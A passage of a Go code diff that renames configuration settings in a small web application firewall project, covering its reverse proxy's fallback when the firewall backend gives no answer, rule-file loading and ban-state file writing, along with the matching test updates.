{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
||||||
|
t.Run(subtest, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1031,7 +1033,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
defaultDisposition: setting,
|
noAnswerSetting: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1047,9 +1049,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(tc.status) ||
|
if line["status"] != float64(tc.status) ||
|
||||||
line["default_disposition"] != nil {
|
line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status %d and no default",
|
"line %v, want status %d and no waf_backend_no_answer",
|
||||||
line,
|
line,
|
||||||
tc.status,
|
tc.status,
|
||||||
)
|
)
|
||||||
@@ -1109,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
@@ -1202,7 +1204,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
subtest := name + " with " + noAnswerSetting + "=" + setting
|
||||||
|
t.Run(subtest, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
@@ -1213,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
defaultDisposition: setting,
|
noAnswerSetting: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1224,7 +1227,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadGateway) ||
|
if line["status"] != float64(http.StatusBadGateway) ||
|
||||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status 502 and no disposition",
|
"line %v, want status 502 and no disposition",
|
||||||
line,
|
line,
|
||||||
@@ -1242,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
@@ -1253,7 +1256,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, backend := range noAnswers() {
|
for name, backend := range noAnswers() {
|
||||||
@@ -1266,7 +1271,7 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1274,8 +1279,11 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionAllow ||
|
if line["disposition"] != dispositionAllow ||
|
||||||
line["default_disposition"] != true {
|
line["waf_backend_no_answer"] != true {
|
||||||
t.Errorf("line %v, want allow by default", line)
|
t.Errorf(
|
||||||
|
"line %v, want allow and waf_backend_no_answer",
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -1290,8 +1298,8 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
defaultDisposition: dispositionDeny,
|
noAnswerSetting: dispositionDeny,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1302,18 +1310,21 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["default_disposition"] != true {
|
line["waf_backend_no_answer"] != true {
|
||||||
t.Errorf("line %v, want deny by default", line)
|
t.Errorf(
|
||||||
|
"line %v, want deny and waf_backend_no_answer",
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1330,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
defaultDisposition: disposition,
|
noAnswerSetting: disposition,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1343,7 +1354,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != 0.0 || line["disposition"] != nil ||
|
if line["status"] != 0.0 || line["disposition"] != nil ||
|
||||||
line["default_disposition"] != nil {
|
line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1356,7 +1367,9 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
@@ -1374,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
|||||||
})
|
})
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1438,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1481,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
|||||||
// The time limit is long enough for a loaded host to answer the question before
|
// The time limit is long enough for a loaded host to answer the question before
|
||||||
// it runs out.
|
// it runs out.
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "3000",
|
wafBackendTimeout: "3000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1511,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
|||||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1599,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
backend.URL,
|
backend.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "5000",
|
wafBackendTimeout: "5000",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1892,10 +1905,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if line["default_disposition"] != nil {
|
if line["waf_backend_no_answer"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"default_disposition is %v, want it left out",
|
"waf_backend_no_answer is %v, want it left out",
|
||||||
line["default_disposition"],
|
line["waf_backend_no_answer"],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+12
-11
@@ -67,15 +67,16 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
rq.answer(http.StatusBadGateway)
|
rq.answer(http.StatusBadGateway)
|
||||||
default:
|
default:
|
||||||
// waf cannot be connected to, does not answer at all, or does not answer
|
// waf cannot be connected to, does not answer at all, or does not answer
|
||||||
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
|
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
|
||||||
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
|
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
|
||||||
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
|
||||||
// whenever waf is slow. Making such requests hard to send is
|
// here. deny closes this, at the cost of answering 503 whenever waf is
|
||||||
|
// slow. Making such requests hard to send is
|
||||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||||
|
|
||||||
rq.disposition = rq.h.config.DefaultDisposition
|
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
|
||||||
rq.byDefault = true
|
rq.wafNoAnswer = true
|
||||||
|
|
||||||
if rq.disposition == waf.DispositionAllow {
|
if rq.disposition == waf.DispositionAllow {
|
||||||
rq.passToApp(ctx)
|
rq.passToApp(ctx)
|
||||||
@@ -86,10 +87,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ask sends waf the question, and returns its answer, which must have come
|
// ask sends waf the question, and returns its answer, which must have come
|
||||||
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
|
||||||
// away.
|
// when the visitor goes away.
|
||||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
question, err := rq.newQuestion(ctx)
|
question, err := rq.newQuestion(ctx)
|
||||||
@@ -242,14 +243,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// postReport posts report to waf, and waits for its answer for up to
|
// postReport posts report to waf, and waits for its answer for up to
|
||||||
// SWW_RPROXY_TIMEOUT_MS.
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
|
||||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||||
body, err := json.Marshal(report)
|
body, err := json.Marshal(report)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the report: %w", err)
|
return fmt.Errorf("encode the report: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package rules reads the rule files: the plain text files in
|
// Package rules reads the rule files: the plain text files in
|
||||||
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
|
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
|
||||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||||
// at start, and again once the directory has had no change for a short
|
// at start, and again once the directory has had no change for a short
|
||||||
// time after one is edited, added or removed.
|
// time after one is edited, added or removed.
|
||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// extension ends the name of every rule file.
|
// extension ends the name of every rule file.
|
||||||
const extension = ".rules"
|
const extension = ".rules"
|
||||||
|
|
||||||
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
|
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
|
||||||
// the rule files are read again, so that a file still being written, such
|
// the rule files are read again, so that a file still being written, such
|
||||||
// as one saved in place, appended to or copied in with scp, is read only
|
// as one saved in place, appended to or copied in with scp, is read only
|
||||||
// once whole.
|
// once whole.
|
||||||
@@ -103,9 +103,9 @@ type Rule struct {
|
|||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
|
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
|
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
|
||||||
// and no rule loaded.
|
// and no rule loaded.
|
||||||
Enabled bool
|
Enabled bool
|
||||||
// ProcessLog receives how many rules were read, and the error in a
|
// ProcessLog receives how many rules were read, and the error in a
|
||||||
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, dir, fmt.Errorf(
|
return nil, dir, fmt.Errorf(
|
||||||
"SWW_WAF_RULES_DIR cannot be read: %w",
|
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
|
||||||
err,
|
err,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -310,7 +310,7 @@ func readFile(
|
|||||||
rules []Rule,
|
rules []Rule,
|
||||||
places map[string]string,
|
places map[string]string,
|
||||||
) ([]Rule, error) {
|
) ([]Rule, error) {
|
||||||
//nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
|
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
|
||||||
data, err := os.ReadFile(path)
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
|
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
|
||||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||||
params.Enabled = false
|
params.Enabled = false
|
||||||
|
|
||||||
|
|||||||
@@ -123,11 +123,11 @@ type Params struct {
|
|||||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
CacheDir string
|
CacheDir string
|
||||||
// WriteDelay is how long after a ban is made bans.json is written
|
// BansWriteDelay is how long after a ban is made bans.json is written
|
||||||
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
|
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
|
||||||
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
|
// is (SWW_WAF_STATE_WRITE_INTERVAL).
|
||||||
WriteDelay time.Duration
|
BansWriteDelay time.Duration
|
||||||
CounterInterval time.Duration
|
WriteInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
||||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||||
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
|
|||||||
return f, nil
|
return f, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Run writes bans.json WriteDelay after a ban is made, with every ban
|
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
|
||||||
// made in between, and every file every CounterInterval, until ctx is
|
// made in between, and every file every WriteInterval, until ctx is
|
||||||
// done. A write that fails is logged, raised as a file_error alert, and
|
// done. A write that fails is logged, raised as a file_error alert, and
|
||||||
// the file is written again at its next write. Each write takes in an
|
// the file is written again at its next write. Each write takes in an
|
||||||
// admin's edit of its file first, as writeFile describes.
|
// admin's edit of its file first, as writeFile describes.
|
||||||
func (f *Files) Run(ctx context.Context) {
|
func (f *Files) Run(ctx context.Context) {
|
||||||
interval := time.NewTicker(f.params.CounterInterval)
|
interval := time.NewTicker(f.params.WriteInterval)
|
||||||
defer interval.Stop()
|
defer interval.Stop()
|
||||||
|
|
||||||
var bansDue <-chan time.Time // nil while no ban waits to be written
|
var bansDue <-chan time.Time // nil while no ban waits to be written
|
||||||
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
|
|||||||
return
|
return
|
||||||
case <-f.params.Ledger.Changed():
|
case <-f.params.Ledger.Changed():
|
||||||
if bansDue == nil {
|
if bansDue == nil {
|
||||||
bansDue = time.After(f.params.WriteDelay)
|
bansDue = time.After(f.params.BansWriteDelay)
|
||||||
}
|
}
|
||||||
case <-bansDue:
|
case <-bansDue:
|
||||||
bansDue = nil
|
bansDue = nil
|
||||||
|
|||||||
@@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
|||||||
// returns once Run waits for its next write, so that every write due by
|
// returns once Run waits for its next write, so that every write due by
|
||||||
// then is on disk.
|
// then is on disk.
|
||||||
|
|
||||||
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteDelay = 10 * time.Second
|
params.BansWriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A second ban, made while the first waits to be written, puts the
|
// A second ban, made while the first waits to be written, puts the
|
||||||
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
|||||||
// the second ban. The other files wait for the interval, an hour
|
// the second ban. The other files wait for the interval, an hour
|
||||||
// away.
|
// away.
|
||||||
removeFiles(t, dir, bansJSON)
|
removeFiles(t, dir, bansJSON)
|
||||||
time.Sleep(params.WriteDelay)
|
time.Sleep(params.BansWriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFiles(t, dir)
|
wantFiles(t, dir)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
|
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.CounterInterval = time.Minute
|
params.WriteInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// The files are removed once written, so that each interval shows
|
// The files are removed once written, so that each interval shows
|
||||||
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteDelay = 10 * time.Second
|
params.BansWriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A ban, and bans.json written with it.
|
// A ban, and bans.json written with it.
|
||||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(), bans.Notes{})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.WriteDelay)
|
time.Sleep(params.BansWriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
// A second ban is to be written WriteDelay later. Just before
|
// A second ban is to be written BansWriteDelay later. Just before
|
||||||
// then, an admin saves bans.json with the first ban lifted and
|
// then, an admin saves bans.json with the first ban lifted and
|
||||||
// another added.
|
// another added.
|
||||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
midnight(), bans.Notes{})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.WriteDelay - time.Nanosecond)
|
time.Sleep(params.BansWriteDelay - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
edit(t, dir, bansJSON, permanentBansJSON)
|
edit(t, dir, bansJSON, permanentBansJSON)
|
||||||
|
|
||||||
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.CounterInterval = time.Minute
|
params.WriteInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A directory in the way of the temporary file of clients.json, a
|
// A directory in the way of the temporary file of clients.json, a
|
||||||
@@ -2404,16 +2404,16 @@ func newParams(dir string) state.Params {
|
|||||||
})
|
})
|
||||||
|
|
||||||
return state.Params{
|
return state.Params{
|
||||||
Dir: dir,
|
Dir: dir,
|
||||||
CacheDir: dir,
|
CacheDir: dir,
|
||||||
WriteDelay: time.Hour,
|
BansWriteDelay: time.Hour,
|
||||||
CounterInterval: time.Hour,
|
WriteInterval: time.Hour,
|
||||||
Ledger: bans.New(bans.Params{
|
Ledger: bans.New(bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: 24 * time.Hour,
|
LimitBanRepeatWindow: 24 * time.Hour,
|
||||||
MaxBanDuration: 7 * 24 * time.Hour,
|
LimitBanPermanentAbove: 7 * 24 * time.Hour,
|
||||||
AttackBanDuration: 7 * 24 * time.Hour,
|
AttackBanDuration: 7 * 24 * time.Hour,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}),
|
}),
|
||||||
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
||||||
GeoJS: lookup.New(lookup.Params{
|
GeoJS: lookup.New(lookup.Params{
|
||||||
@@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params {
|
|||||||
RequestsPerMinute: 1000,
|
RequestsPerMinute: 1000,
|
||||||
BytesPerMinute: 1 << 30,
|
BytesPerMinute: 1 << 30,
|
||||||
},
|
},
|
||||||
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
|
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
NetV6Prefix: 48,
|
